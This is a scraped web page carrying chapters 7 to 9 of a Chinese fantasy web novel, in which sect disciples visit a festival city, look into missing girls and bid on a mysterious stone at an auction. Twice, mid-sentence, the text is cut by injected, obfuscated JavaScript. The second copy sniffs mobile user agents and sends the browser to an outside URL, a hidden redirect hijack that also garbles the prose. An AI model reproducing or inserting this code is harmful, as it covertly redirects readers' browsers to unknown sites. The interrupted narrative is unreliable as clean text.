烈烈寒风里,女子仰起头,长发如旌旗飞扬,一身赤红短袄,仿佛在这冰天雪地里熊熊燃烧的火把,“接到师父手信,特来接应。” 阿也瞧她眼熟,正要问,被女子抢先道:“只有你们三个?”她上下左右扫视一圈,像是在找谁,无果后绷着一张脸问,“没有其他人了吗?” 见华谏打算开口,阿也率先道:“石长老留在云间派处理杂务。” 显然这不是她想要的答案。女子顿了顿,声音低下去,“席师兄……他没来吗?” 电光火石间,记忆里那个亦步亦趋跟在席子瑞身后的小小身影被拎出来,寸寸放大,直至和眼前这人重合。阿也想起来她是谁—— 凌栾。 一晃两年过去,个子如雨后春笋般窜高不少,五官退去稚气,显出凌厉来。 “怎么?难不成你还想向人求婚?”华谏凉凉道。 这句话一出,阿也当即想起他俩的过节,心想难怪石磊没告诉华谏接应的人是谁,这下冤家碰面,少不了吵嚷几句。 但没有预料中的呛声,凌栾扫一眼华谏,面无表情道,“跟我来。” 凌栾领着她们穿过雪原,绕到矮山脚下,钻入暗道。推开尽头的石门,阿也闻到干草的香气。 掀起遮风的棉布帘,数十铺面连成一排,仅一个叠了被褥。石壁上嵌着十盏油灯,唯独临桌的一根烛燃起,挤出微弱的光,照亮了桌上的笔墨纸砚,简陋,但很干净。 很难想象凌栾拿抹布擦拭灰尘的模样。在未向席子瑞大胆求婚之前,她比华谏更骄纵,上骂余寰,下打师兄,堪称华宗一霸。 “这里是离阴山最近的据点,原本驻守在此的弟子共有七位。元核现世至今,两位弟子请辞,三位弟子战死,一位深入腹地,至今未归。” “大概凶多吉少。”凌栾平淡地补充。 难怪只有一个铺位有被褥……阿也心想。 “那这里岂不是只剩下你一个人?”云欢小声问。 “现在不是了。”凌栾点燃一盏灯,光线明亮些许,衬出穹顶灰白的石钟乳。她走向角落的衣柜,打开柜门,一顿,“都落灰了,还是从飞舟上拿一些下来。” “不用拿。”华谏终于开口,话里有种憋了许久的畅快,“直接去浮梁买。”他瞥一眼阿也,“还有三日,正好赶上承水环烟。” 这话简直说到心坎里去。阿也连连点头,“师兄所言甚是。” 云欢想起此前自己对华谏爱答不理的态度,讪讪道,“那我……可以去吗?” 华谏瞥她一眼,大度道,“自然。” “我也去。” 三人看向凌栾。她指了指桌椅,“你们要在这待一段时间,我去采买一些基本的生活用品。” “还有,最近浮梁并不太平。” 7. 承水环烟 承州四面沿海,与各州往来贸易频繁,其中都城浮梁坐拥最大的港口,船只络绎不绝,沸反盈天。 “瞧一瞧来看一看——”光头大汉奋力招手揽客,“走过路过不要错过!哎!两位往里请,往里请——” “这里这里!”云欢拉着阿也挤进人群。 摊主正向周边展示手中发青的绿石,“十个铜子!还有没有要出价的?” 见有新人,他特意在两人身前多晃了几圈,“十个铜子!买不了吃亏买不了上当!” “好便宜,才十个铜子。”云欢传音问道,“我好想试试!要不然……十一个铜子?” 阿也眯起眼,拉住她,“等等。” “还要再考虑考虑?”摊主眼里闪过一丝失望,大着嗓门叫喊,“那可瞧好了!千万别后悔!” 他猛地挥下铡刀。“咔嚓”一声,石头被对半劈开,黑不溜秋的切面里,赫然几粒圆形白斑。 “玑珠!”有人叫起来。 “老王今儿个运气不错呀。”摊主笑呵呵地捧起石头,仔细展现出白斑,“瞧这品相,足足有……四、五、六!有六个玑珠!” “多谢多谢!”老王忙上前,点头哈腰,抢过石头,抱进怀里,“下次再来!下次再来!”说罢,一溜烟跑出人群。 “十个铜子,真是赚大发了。” “少说也能卖个几百铜子吧。” 人群愈发拥挤了。摊主咧开嘴,与光头大汉对视一眼,举起一块更大的石头,“起步价,十二铜子!” “十二!” “十五!” “二……”云欢刚出声,被人一把拽住,扭过头,见凌栾不动声色地比了个口型,“假的。” 悻悻然退出人群,云欢忍不住道,“你怎么知道是假的?万一是真的……” “赤州产矿,那些都是开采元晶剩下的边角料。刚才的石头是早就准备好的,光头大汉是托,有些竞价的人也是,为的就是提价。” “这样啊……”云欢难掩失落,“原来是骗子。” 凌栾一顿,“我上过当,开出来什么都没有。” 云欢眨眨眼,有些意外,又悄悄笑了一声,“多谢师姐指点。我叫云欢。” “凌栾。”凌栾简明扼要,“准备进城。” 进了中心城区,街道是淮城的两倍有余,临街的楼阁以长廊相连,高低错落。集市里人来人往,井然有序。 “这里有专人监察,公平公正,不像港口鱼龙混杂。”凌栾叮嘱,“你们在这里逛便是,我去买些生活用品。” “师姐不和我们一起吗?”云欢问。 “不了,我还有其他事。你们待在集市里,不要出去,申时一刻在正门汇合。”凌栾转向华谏,严肃道,“你是师兄,照顾好她们。” 谈及正事,华谏板正地点了点头。待凌栾远去,他摇摇折扇,长袖一挥,摆出邀请的手势,“两位小姐,请。” “公子免礼!”云欢揽上阿也臂弯,兴高采烈地冲向集市人最多的地方。 集市以手工艺品为主,簪镯钗环,产地众多,甚至有淮城出产的佩饰,木石金玉,各式各样,一律明码标价。 奈何华谏眼界高,阿也无心打扮,云欢对吃的更感兴趣,三人逛完饰品,拐向食肆。 “好香!”云欢猛吸鼻子,直往人堆里钻。阿也被人挤得头晕眼花,分不清东南西北,“哪里……香?” “这里!”云欢拉着阿也突破重围,读出摊前招牌上的字,“蜜什香露?二十铜子一坛。” 摊主奶奶笑眯眯地点头,用滚水烫过杯盏,揭开陶罐的红封,斟出大半。水液微红清亮,被余温激出柔和的花果香。 “都是好材料啊。槐花蜜、夜息香和紫芝……”云欢仔细嗅过,“还有几味是什么?”她伸手要接杯盏,被一柄折扇拦截。 “等等。”华谏挑眉,“二位小姐,似乎还没到品酒的年龄。” 听了这话,摊主奶奶忙比划一阵,嘴里“嗬嗬”几声,意指香露属饮子一类,不算酒。 “奶奶年纪大了,出门在外好辛苦的,公子难道忍心?”云欢见他不吃这套,眼一转,可怜巴巴道,“那能否劳烦公子替我们尝一尝?” 捱不过云欢,华谏轻抿一口,带一点隐约的酒气,慢慢道:“不行。” “好吧。”云欢迅速蔫了,向摊主奶奶歉然一笑,放下二十枚桐子,又迅速振作起来,转向下一个摊位,招呼道,“小烨!来看点心!” 糕点在方桌上列阵,四形七色,花叶鱼鸟,彩虹配色。一枚三个铜子,四枚一盒,共十个铜子,不算实惠,两盒就够一坛香露价。 “来来来,免费试吃,不好吃不要钱。”大婶切碎点心,摆上竹签,热络道,“我这都是纯手工制作,花草染色,没有额外添加……” 这话听着好耳熟……阿也想起芳芪就是这样哄骗她喝下或酸或苦或辛或辣的药,一时间,精致小巧的点心变得面目可憎起来。 云欢捻起竹签,叉起一小块叶状点心,送进口中,面露惊喜,“这个好吃!小烨快尝尝!” 点心送到嘴边,阿也只得就着她的竹签吃下,口感软绵,浓郁的青草香爆开,仿佛炎炎夏日畅饮清凉井水,浑身一个激灵。 “不错。”阿也伸手,叉起一块花状点心,送入口中,馅料扎实,入口微涩,化开后慢慢回甘。 “小烨喜欢这个?”云欢打趣道,“这是也桃做的哦,在我们那边很流行,云漪师姐做的最好吃了!据说吃了会走桃花运!” “慎言。”华谏及时遏制这股歪风邪气。 “真古板。”云欢吐了吐舌头,转头点数,“婶子,这几样都各来一个,劳烦替我装五盒。”她刚掏出钱袋,一枚金叶子先一步飘落。 “出来玩,哪有让女儿家出钱的道理。”华谏摇扇,似笑非笑道,“在下可还古板?” “不不不,华公子一点都不古板,简直是天神下凡,俊美无双……”云欢吹捧着,话锋一转,“那不如再来两盒?我给凌师姐留一份。” 日头西落,暮色在街巷间倾出大片阴影。三人买了四份解渴的梅子饮,抵达正门。 华谏正与凌栾传音。阿也百无聊赖,开始浏览墙上的展板,告示一层糊着一层,多是交易,像是出租摊位、招小工,还有推销自家东西的。待看到最底下,目光一凝。 “寻人启事……”阿也念出声。 云欢闻声凑过来,有一搭没一搭地咬着空心麦秆,替她念完,“家有小女,年方二八,于癸卯月走失,至今下落不明,若有贤士提供线索,必有重金酬谢。” “这么快就喝完了?”阿也见她手中木罐空空,麦秆被咬得不成样子,跟耗子啃过似的。 “以前没喝过这样的……”云欢把木罐藏到身后,越说越小声,“这有什么好看的……” “给你喝吧。”阿也把未开封的木罐递给她,“我不爱喝甜的。” 云欢接过木罐,摁下机括,一根修好边角的麦秸弹出来。她一口咬住,“骗人,你明明就很喜欢吃那个点心……” 很快,嘀咕被咕噜声盖过。 阿也假装没听见,继续盯着寻人启事里的画像。 三两下喝光了梅子饮。云欢拍拍胸脯,豪气道:“就当你请我喝梅子饮,我请你吃点心了。” “你们在看什么?”华谏走过来。 “没,没什么。”云欢重重咳了一声,收敛神色,指着画像,“这上面写有人走失了。” “走失?”华谏指着画像,看了片刻,神色逐渐凝重,“这人走失了?” “怎么了?”云欢不明所以。 画像上的少女躲在花丛中,回眸一笑。柳眉杏眸,颊边露出两个小梨涡,娇俏可人。 “此女簪金带玉,服饰华贵,必定出身不凡,且神态天真烂漫,自是家中宠爱有加,更何况这画师工笔,瞧这花鸟湖山,不是一般人能请得起的。” 好装。阿也心道。 “这样的人家非富即贵。”华谏接着道,“若是绑票,大多为了勒索钱财,又怎会失踪多月,杳无音讯?” “的确奇怪。” 阿也回头,凌栾单手扛起大包物件,从不远处走来,背后是一轮巨大的落日。她站在其中,身姿挺拔,仿佛轮盘上永不偏移的指针。 “凌师姐!”云欢蹦蹦跳跳地跑去接包裹,被人摆摆手拒绝了。 “我来。”华谏认命地收起折扇,插在腰间,递给她木罐,空出手来。 凌栾把包裹甩给他,擦了擦额头汗水,一拳砸开木罐机括,三两下喝了个干净。 云欢献宝似地捧出点心盒子,“这是我们给师姐买的,很好吃!” 迟疑一下,凌栾还是收起盒子,“多谢云姑娘。”她转向阿也,指向寻人启事旁的另一则告示,“你觉得这则告示如何?” 相比寻人启事,这则告示的内容更简短:招募修士,人数不限,报酬丰厚,但右下角的印戳显示这两则告示出自同一家,朱红钱币上印着一个飘逸的卓字。 被人点名,阿也如实回答:“看落款,招募是近期之事,且寻人启事并未被揭下,可能是此女受困,家中人想施救?” “不错。”凌栾目露赞赏,“癸卯月,商会总管卓力的女儿,也就是画像中人,卓清歌,离家出走。失踪前,有人声称在港口见过她。” “为此,卓力把浮梁翻了个底朝天,发现这并非个案。这三年间陆续有人在港口失踪,都是穷苦出身的少女,因此无人追查,直到这次轮到卓清歌,才把事情闹大了。” “怎么能这样?”云欢怒道。 华谏冷声道,“共有多少人失踪?” “据目前所知,至少数十人。如华谏所言,卓清歌出身富贵,有诸多保命手段,但至今仍无消息,处境堪忧。卓力万不得已找上我们,许以万金相求。” “最后我们在阴山外围找到了卓清歌的发钗碎片。”凌栾轻声道,“师姐因此深入腹地调查,至今未归。” 好一阵沉默,阿也喉头一动,咽下“节哀”二字。 “那我们什么时候和师姐汇合?”云欢斗志昂扬,“师姐一定是发现了什么线索!等着我们去帮忙呢!” 眉间阴郁消散了,雨过天晴,凌栾露出见面以来的第一个笑容,“那现在,我们去见卓力。” 登上西楼观景台,风景一览无遗。 彼一露面,立即有位中年男子迎上来,锦衣华服,腰间挂了一串朱红钱币,价值不菲,人却面色憔悴,“在下卓力。” 互相介绍过后,五人落座。 “癸卯月初,在下与小女发生争吵,小女一气之下离家出走,至今下落不明……”卓力一一道来,与告示内容相差无几。 “为何要发生争吵?”云欢追问。 “这……”卓力一哽,“我也是为了她好。” 一阵突如其来的掌声打断谈话。阿也循声看去,远处堤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“想不到这么热闹。”云欢情不自禁地跟着鼓起掌来,“小烨,你看那里……” 阿也应声抬头,不料撞上华谏视线。 “请教师妹,”华谏双手环胸,靠在椅背上,下巴微昂,“我们之后是什么安排。” 卓力闻言,面色一急,“恳请诸位替我寻回小女,倾家荡产也不足惜。” 阿也轻咳一声,转向凌栾,“任凭师姐调遣。” 凌栾不知飞舟上阿也狐假虎威的损招,各摆出一枚玉牌和铁牌,“西楼生意太好,只抢到两间,华谏你单独一件下房。先歇息一晚,明早辰时出发回据点,休整一日,再进极境。” “下房?”华谏敏锐抓住关键词,皱眉。 “不然我们三人一间下房?”凌栾扣下玉牌,歪头道,“若你嫌弃,不如先回据点,明日再来接我们。” “对不住各位。”卓力连忙擦汗,缓和气氛,“实在是今日热闹,上房早已抢购一空,在下加价也只换来一间。” “无碍。”凌栾微微抬起下巴,誓要与华谏分个高低,“你选哪个?” “啧。”华谏轻哼一声,伸出小指勾走铁牌,拿腔拿调道,“是,凌大小姐。” “若时间足够……”阿也犹豫道,“我明日想去拍卖行看看。” “我也要去!”云欢立刻接话,眼巴巴地望向凌栾,“我长这么大,还没去过拍卖行呢。” “那明早我与华谏先行回去准备。”凌栾使了个眼色,止住华谏的不满,“你二人自行安排,注意安全。明日申时,浮梁校场见。” “若小姐想去拍卖行,可以去那里。”卓力指向东北角的高楼,通体朱红,在暮景里格外招摇,“那是雅契阁,浮梁最大的拍卖行,每日午时举行一场拍卖。” “他们对修士有优待。出示弟子令牌,他们会安排好包间。” “这么厉害?”云欢低头看向腰间令牌,卷云纹里一朵盛放的青兰。 “诸位为百姓奔波忙碌,总得享受点好处。”卓力颔首道,“这几日正是人多的时候。祝你们淘到好东西。” 云欢和阿也小鸡啄米似地点头。 夜幕降临,画舫驶入湖心,迎来声浪顶峰。 每座画舫上,十名匠师鱼贯而出,五位抱琴背筝,奏响丝竹乐曲,五位以轻纱遮面,金臂钏,红霓裳,抬手间洒落香粉与花瓣。 万千烟花齐放,花火从天而降,漫天华彩,遍地生金。 真漂亮。阿也移不开眼,心神与乐声同震,但下一瞬间,活人骤然化作枯骨,垂柳凋敝,堤坝坍塌,画舫的残骸泡在湖中,独木支帆,水面飘红,倒映出天上一轮残日。 耳边再度响起那些呓语声,忽远又忽近,仿佛深夜里飘荡的魑魅魍魉,要拽着她回到过去的梦魇。 “小烨!” 仿佛一道光刺破混沌,阿也抬起眼,撞进云欢明媚的笑容,“你看你看,他们在放灯!” 画舫的甲板上,匠师捧出一盏又一盏莲灯,点燃油烛,轻轻置于水面,素手一推,灯便在湖面上飘散,烛火闪烁,正如夜幕中星光点点,青烟环绕湖面,仿佛飘渺水雾。 乐声盈耳,波光潋滟,千灯流远,承水环烟。 何等壮观的场景,何等难遇的时刻。 此情此景,此时此刻,起伏的人潮反而安静下来。观景台上亦是如此,看客们紧闭双眼,双手合十,放在胸前,面色虔诚。 “他们在干什么?”云欢不忍打搅,传音询问。 “许愿。”凌栾以传音回答。 “那我也许一个!”云欢来了兴致。 “他们在向我们许愿。”凌栾含笑道,“你又要向谁许愿呢?” “这样啊。”云欢苦思冥想一阵,忽然豁然开朗,双手合十,捧在心口,闭上双眼。 “那我向神祈愿好了。” 8. 拍卖会 庆典举行到亥时方歇。与华谏道过别,三人回房洗漱。熄灯后,榻上却频频传出翻身动静。 凌栾抬指打出一道元力,案上油烛悠悠亮起,照出纠成一团的被褥。她好笑地看着把头埋进被子里的云欢,“睡不着?” 云欢低低应了一声,把头埋得更深,“对不起,吵到你们睡觉了。” “别闷坏了。”阿也拉起云欢,见人脸红得快要滴血,与凌栾相视一笑。 不知是谁提议,或许也没有人提议。三人披衣散发,或坐或卧,在榻上自然闲聊起来。 云欢细数种种精彩时刻,说到高兴处甚至手舞足蹈,“我长这么大,还是第一次参加庆典,没想到这么好玩,明年也要来参加!” “你以后好玩的日子还长着呢。”阿也笑道,但见凌栾眉头蹙起,似乎不太高兴。 “师姐?”云欢同样注意到凌栾的异样。 凌栾犹豫再三,开口问道:“你们真要去极境?” 二人点头。 “真的要去?”凌栾皱眉,“我说不出粉饰太平的话。实不相瞒,此番前去,多半有去无回。你们还小,不必去……” “但师姐你也很小呀。”云欢打量凌栾的眉眼,“师姐瞧着今年也才二十出头吧,放在寻常人家还是无忧无虑的年岁呢。” “修士与凡体不同。”凌栾摇头,“能吸纳元气延年益寿已是得天独厚,自然该担起济世救人的责任。” “那我也做好准备了。”云欢裹紧被子,呼出一口长气。 “往日我总觉得年纪小,还有大把时间可以浪费,做什么都来得及,直到师祖……我才发现,原来一眨眼,人就长大了。”她睫羽轻颤,闪出泪花。 好一阵沉默后,云欢忽然道,“我和小烨来此,是为探查元核一事。”她问,“那师姐呢?为什么会来阴山?” 闻言,阿也立即记起凌栾与华谏的过节,努力岔开话题,“师姐是为了……” “为了逃避。”凌栾毫不犹豫地回答。她长长舒出一口气,语调轻快,眉眼间浮现出过去的骄纵。 “在穆州校场上,我曾问起席子瑞。”凌栾微微笑起来,“那是我的心上人,他曾救我一命,我倾心于他。” 她看向屏风外,月光透过窗格,照亮灯盏的花纹,投下细长的影子,时而低伏,时而窜高。 “那时年轻气盛,喜欢一个人哪里藏得住?天天死缠烂打的,人家不好拒绝,反倒被以为是心悦于我。于是某一天心血来潮,我决意向他求婚。” “其实是个寻常的日子,但天很蓝,阳光很温暖。我打上擂台,展示了精心准备的十页礼单,然后他当着大家的面拒绝了我。” “那时年轻气盛,抹不开面子。”凌栾笑着摇了摇头,“于是一气之下,就来了阴山。” “这可真是……”云欢被震撼得说不出话来,“真是……”好半天,才憋出一句话,“这男的真是不识好歹!” “他还同我说……”凌栾扬起声,拖长语调,吊足了胃口,又忽地降下,“该睡了。”她倏地熄灭灯烛,趁云欢还没反应过来,翻身滚进连榻内侧,学人用被子蒙住头脸。 “啊——师姐!你不能话只说一半……”云欢登时扑上去,但不管怎样闹凌栾都只顾着闷头笑,于是将目光默默投向刚躺下的阿也。 阿也:“……”好大的怨念。 云欢握住她的手,可怜巴巴地传音,“小烨,你肯定知道!求求你了,就告诉我吧——” 阿也一阵纠结。这事不算隐秘,当年闹得华宗上下鸡飞狗跳,连隐居山林的她也有所耳闻,何况今日当事人还主动谈及此事,但…… “不然我晚上都睡不好,明天就不能陪你去拍卖行了,呜呜呜——”云欢闹个不停,一副得不到答案绝不善罢甘休的模样。 “吱呀。”连榻内侧被人挣响,云欢立刻安分。 “我……”阿也左右为难,说也不是,不说也不是。正当此时,衣袖被扯动,一只手伸进来,捏了捏她的指尖,她顿时心领神会,严肃地传音:“好吧,那我告诉你,你千万不要说出去。” 云欢立刻捂住嘴,“放心,我肯定不会说出去的。” “席子瑞说他喜欢华谏。” 短短九个字,令云欢呆如木鸡。 见她愣愣地躺下、盖好被子和闭上双眼,阿也琢磨自己当时听到这个消息,大概也是这个反应。 忽然,另一边衣袖也被扯动。链接里响起云欢的声音,“他们就不能三个人在一起吗?” 阿也顿时如遭雷击,脑子里塞满三人同行的画面,好不容易才一一挥去,而梦里又浮现出当年华谏追得席子瑞满山跑,屡战屡败,屡败屡战,闹得鸡犬不宁,一边打一边咬牙切齿地高喊,“还我清白!” 可惜人打也打不过,追又追不上,便迁怒凌栾,结下了梁子。顺带一提,这一招不可谓不高明,同时断送了三个人的桃花运。 再睁眼时,耳边还回响着那句“还我清白”。 窗外日头高悬,凌栾的被褥叠得整整齐齐,一丝不苟,云欢的则乱糟糟地堆成一团,还贴了张字条。 阿也拿起字条,字如其人,很是跳脱,“师姐回据点啦,还给我们买了烧饼,很好吃!看你睡得正香,不好意思打搅,我先出去打探打探,记得午时前一刻,在雅契阁门口见!” 桌上放着方正的牛皮纸袋,扎得严严实实,手一摸,还是热的。 没想到大小姐心细如发,想到用元力保温。阿也心道,拆开纸袋,露出金黄的烧饼,鲜香味勾人食指大动,咬一口,簌簌掉渣,再嚼一嚼,满是肉馅与芝麻的香气。 阿也享受地眯起眼,心里忽然咯噔一下。 坏了,还有拍卖会! 匆匆洗漱过后,阿也顺着卓力的指路来到雅契阁。 高楼比想象中更宏伟。乌木飞檐,丹朱为漆,连灯笼的流苏里坠着雪白珍珠,在日光里折射出灼灼光华。 不愧是浮梁最大的拍卖行。阿也站在门前的石狮子旁,一息之间竟有十来个人进出。 时间一点点流逝,仍没有云欢的影子。 “请问姑娘是在这儿等人吗?”侍者迎上来,“我们的拍卖会即将开始。” 连侍者都身高八尺,长相周正。阿也感叹一句,传音道:“云欢?” “小烨你先进去!”链接里传来云欢的声音。她气喘吁吁,“我耽误了点时间,正往那边赶,你先去占个座儿!” 阿也应下,取了腰间令牌递给侍者,笑道,“劳烦带我进去,我来买东西。” “请随我来。我们这里有专人为您安排。” 进了单独的隔间,侍者取来托盘,“这是您的面具和斗篷。” 阿也展开斗篷披上,身形即刻被遮掩,竟是一件低级元器,再拿起面具,沉甸甸的质感,由纯银打造,雕纹精细,同样价值不菲。 雅契阁真有钱。阿也戴上面具,察觉识海内的链接被切断了,正要拿下,门忽然打开,侍者领了位头发花白的老者进来。 “这是我们拍卖行的首席鉴定师。他会根据您的宗门令牌为您安排包间。”侍者解释道。 “有劳。”阿也按住面具,递出令牌。 鉴定师接过令牌,对着夜明珠的柔光审视一番,仔细摸过青铜浇铸的那对龙纹大板斧——华重楼的本命契兵,并非寻常弟子可有。 他肃正神色,对侍者叮嘱道:“带这位贵客去天字包间。” 侍者心中一惊,没想到这姑娘瞧着年岁不大,竟有如此地位。随后喜上眉梢,这要是哄好了,随便从指头缝里漏一点,自己下半辈子可就不用愁了! “请您随我来。”侍者躬身,多了几分真心实意的恭敬。 阿也看在眼里,心中暗自发笑,华烨有钱,但她自己可是个穷鬼。 高楼内部仿佛倒置的漏斗,沿着阶梯一圈圈向上,越靠近顶层,侍者的衣着越光鲜,摆件肉眼可见地变得昂贵,从生铁锡器到细腻白瓷,再到精美玉器。 “拍卖场内禁止透露真实身份。如您所见,斗篷会改变您的身形,面具会改变您的容貌和声音,同时干扰传音……”侍者歉然道:“请您谅解,这是为了避免恶意抬价。” 看样子得和云欢分头行动了。阿也心想。 “最近因承水环烟,我们拍卖行对天字贵客减免了提成。无论成交价如何,一律只收一枚银锭的劳费。” 只收一枚银锭?要知道一枚银锭足够百姓一家三口生活半个多月了。阿也感慨,果然羊毛出在羊身上。 “此次拍卖会共有十二件藏品,个个都是在小拍卖行里能压台的品质,希望您能挑到心仪的。”侍者止步,推开门,“这是您的房间。” 一瞬间,阿也还以为进了话本里的皇宫。白玉砖,琉璃灯,四方檀木桌正对整面透明水晶墙,青烟从掐丝珐琅香盒里悠悠升起。 “知道了。”阿也摆摆手,“退下吧。” 不见丰厚打赏,两手空空的侍者焦躁起来,斗胆开口,“不知小姐可是初次……” 阿也睨他一眼。 侍者当即噤声,不明白刚刚还细声细气的姑娘怎么一披上斗篷,带上面具,顷刻间就变换一副面孔,露出要将人生吞活剥的眼神。他急急忙忙关上门,“茶已沏好,若您有任何需要,随时摇铃。” 随手摸过桌上玉壶,正是入喉的温度,六角银盘里果切新鲜,点心精巧。最显眼的数那枚摇铃,玉塔形状,铛舌还是纯金的。 也不怕被人偷走。阿也心道,拿起摇铃旁边四方锥形的玉块,琢磨半天,没想明白是做什么的。 “诸位稍候,我们的拍卖即将开始——” 透过水晶墙,阿也俯瞰整个拍卖场地。 在清脆的摇铃声中,侍者鱼贯而出,用小推车将盖着红布的拍卖品依次运入场地。红布勾勒出四方锥形的铁笼,大小均一。 “第一件,赤赭泥塑像!”没有任何废话,拍卖师掀开红布,拧动钥匙,解开铜锁。四面铁栅展开,露出中心一人高的红泥塑像。 好粗糙的做工。阿也点评,连是男是女都看不出来。 “这尊赤赭泥塑像来自赤州的核心矿区,疑似出自某位大能之手,起拍价,五十金!” 这么贵?阿也心神一震,转念一想那些尸骸都卖不出去,应该值不了几个钱。 “七十金!” “一百金!” …… 第一轮竞价迅速结束,塑像的价格卡在两百金。拍卖师适时推波助澜,“大能随心而动,随意而行。若是在塑像时留下了什么,那可就不止这个价了。诸位看客可得好好想一想……” “两百五十金!” “三百金!” 被这说法一激,价格开始新一轮的飙升,最终以五百金成交。 “成交!”拍卖师果断落槌,“我们雅契阁诚心祝福这位客人得偿所愿!” 花言巧语。阿也心道,要真有东西,还轮得到拍卖? 接下来的灵器和丹药,品相的确不错,因此无一流拍,皆以高价成交,但阿也兴致缺缺,唯独对第七件有些兴趣。 两朵掌心大小的白花被一根翠绿藤蔓托起,一朵含苞,一朵怒放,各有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239269|166238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风情,又紧紧相依。花蕊细长,金黄油亮,花瓣层层叠叠好似纱质裙摆,花瓣洁白如雪,闪耀着绸缎般的光泽。 “并蒂芙蓉。一藤双生,受天地元气滋养生出些许心智。若两人分别持花,注入元力,可感知对方位置,适合天下有情人。” 生出心智?这说法令阿也想到异叶青兰,但在听到价格后彻底死心。 “起拍价,五十金!” “一百金!”一道粗犷的男声响起。 “一百二十金。”有人紧随其后。 “一百五十金!”依旧是那道粗犷的男声。 “一百八……”有人犹豫了。 “两百金!”还是那道粗犷的男声。 场上一阵哗然,少见这么执着的人。 阿也循声望去,男声从对面的第四层传出,大概是地字包间,想来也是位贵客。 没有人再出价。拍卖师一锤定音,“成交。”他面露喜色,显然这个价格超出预料。 “真是冤种。”阿也嘀咕一句。 等到第十二件拍卖品被揭晓,是条幼年灵蛇,据说是什么特别品种,最后以七百八十金的价格成交,是这场拍卖会上的最高价。 “拍卖进行到这里,十二件拍卖品已花落各家。”侍者再度上台,一一将空笼运走,拍卖师随之退场。 阿也叹了口气,是自己疏忽,卖不出去的尸骸怎么会出现在这里? “接下来,是一件隐藏品。”拍卖师亲自端着托盘上台。“这是一块奇石,来自无妄海底。”他掀开红色盖布。 阿也随意一瞥,视线忽而凝固了。 一块通体灰暗的石头,边角被打磨得圆润,不过半个拳头大小,却令阿也眼前闪过飞雪狂舞、火焰奔腾的景象。她猛地起身,贴近水晶墙细看。 “一模一样。”识海最深处给出答案。 因几日不见,有些陌生。阿也打趣道,“这几天睡得这么香?” “那小姑娘身上有东西。”黑焰道。 小姑娘?阿也皱眉,遇到三头乌时它还出声提醒,直到云欢出现……那应该指的就是云欢了。 “你怕那东西?”阿也问。 “算是吧。”黑焰模棱两可地回答,话锋一转,“把那块石头买下来。” “它被冲上海滩,被有缘人拾得,捐给雅契阁。”拍卖师神秘一笑,“首席鉴定师无法鉴定,因此买回去做什么全凭各位看官的喜好。起拍价,一金!” 这个价格引起台下一阵窃窃私语。 “怎么又是这块石头?还没卖出去?” “谁会花钱买块破石头?当人是傻子?” “这可不好说,连首席鉴定师都鉴定不出来,搞不好是个大东西!”新来的跃跃欲试,“两金!” 有人看热闹不嫌事大,立刻跟进:“三金。” “真要买?这价格可不便宜。”阿也试图抠出一点信息,见黑焰不为所动,以退为进,“东西可以买,但好歹要告诉我怎么用吧?” “你应该察觉了吧。”黑焰低声道,“华烨的身体在发生某种变化。” “某种?”阿也追问,“你也不清楚变化的原因?” “可能与这石头有关。”说完这句,任凭阿也再怎么追问,黑焰都不肯开口。 真是个不容拒绝的理由啊。阿也抬眼,在房间内扫视一圈,目光定格在桌上的玉块,伸手拿起。 “一百金。”阿也听见苍老的声音在拍卖场中响起。她放下玉块,忽然想到云欢,链接被切断了,也不知人进来了没有。 此价一出,场上立刻传出议论声,“也不知是哪个败家子来这花钱找罪受来了……” “一百二十金。”又是那道粗犷的男声。 “三百金!” 这一声尖锐至极,仿佛砾石相互刮擦,激起人一身鸡皮疙瘩。 似乎来自隔壁,还是首次在拍卖会上出价,并且涨幅还不小。阿也警惕起来,对此石如此上心,难不成是华宗的人? 不对。依凌栾所言,据点仅她一个,如果有其他人,她不会只带他们三人去观景台见卓力。并且按时间来算,现在凌栾与华谏应当还在据点,所以……这是个好时机—— 一定要拿下来。 “五百金。”阿也掷地有声。 拍卖师愣住,反复确认道:“五百金?天字包间的这位贵客,您确认出价五百金?” 不等阿也开口,隔壁又道,“六百。”这下连“金”字也省去了,势必和阿也杠到底。 恶意抬价?阿也把玩手中玉块,隔壁的这位是来自高门贵宗还是轩裳华胄?身份必然不低,但能有多高? 能不能……杀人越货? 雅契阁的周边地形在脑海中浮现,劫杀、逃跑的路线逐渐清晰。偶然间,阿也瞥见玉块映出的倒影,是面具遮不住的、华烨的半张脸。 算了。阿也深吸一口气,放下玉块,“六百五十金。” 几乎是同时,隔壁再度开价:“七百。” 场内落针可闻,好半天,才响起嘘声。 “七百金?我到死都赚不了这么多!这也太疯狂了!” “是那两人较上劲了吧?” “天字……真不知道是哪里来的祖宗……” “还有人出价吗?”连拍卖师自己也不抱希望地问。 阿也屈起指节,轻叩桌面。在清脆的笃笃声里衡量完这块石头的价值,设下自己的价格底线。 两息之后,场上恢复寂静。拍卖师缓缓举起木槌,“那么……” “一千金。”她慢条斯理道。 9. 祭堂 盯着桌上价值千金的石头,阿也恍如梦中,直到握在手里,才多了几分真情实感。 掂了掂轻飘飘的钱袋,碎钱锒铛。阿也默然,这一下几乎花完了华烨全部的积蓄,得想办法还上才是。 “买下来了?”黑焰显形,很是满意,“不错不错。” 阿也面无表情道:“花了一千枚金叶子,外加一枚银锭。” “很贵?”黑焰疑惑。 阿也哽住,怎么能指望一个寄生灵体对钱有概念?她深吸一口气,“我试过了,注入元力没有反应。” “如此。”黑焰绕着石头打转,触碰几下,毫无反应,沉吟道,“那应该是年头太久,附着的东西失效了。” 阿也咬牙:“那你还叫我买下来?” “唔,还有别的用途。”黑焰含糊其辞,见她怒目,忙道,“钱不白花,送你两个消息。一个好消息和一个坏消息,你想先听哪一个?” 阿也翻了个白眼。 “好吧好吧。”黑焰无奈道,“好消息是极境之中确有元脉,坏消息是那里有东西守着。” 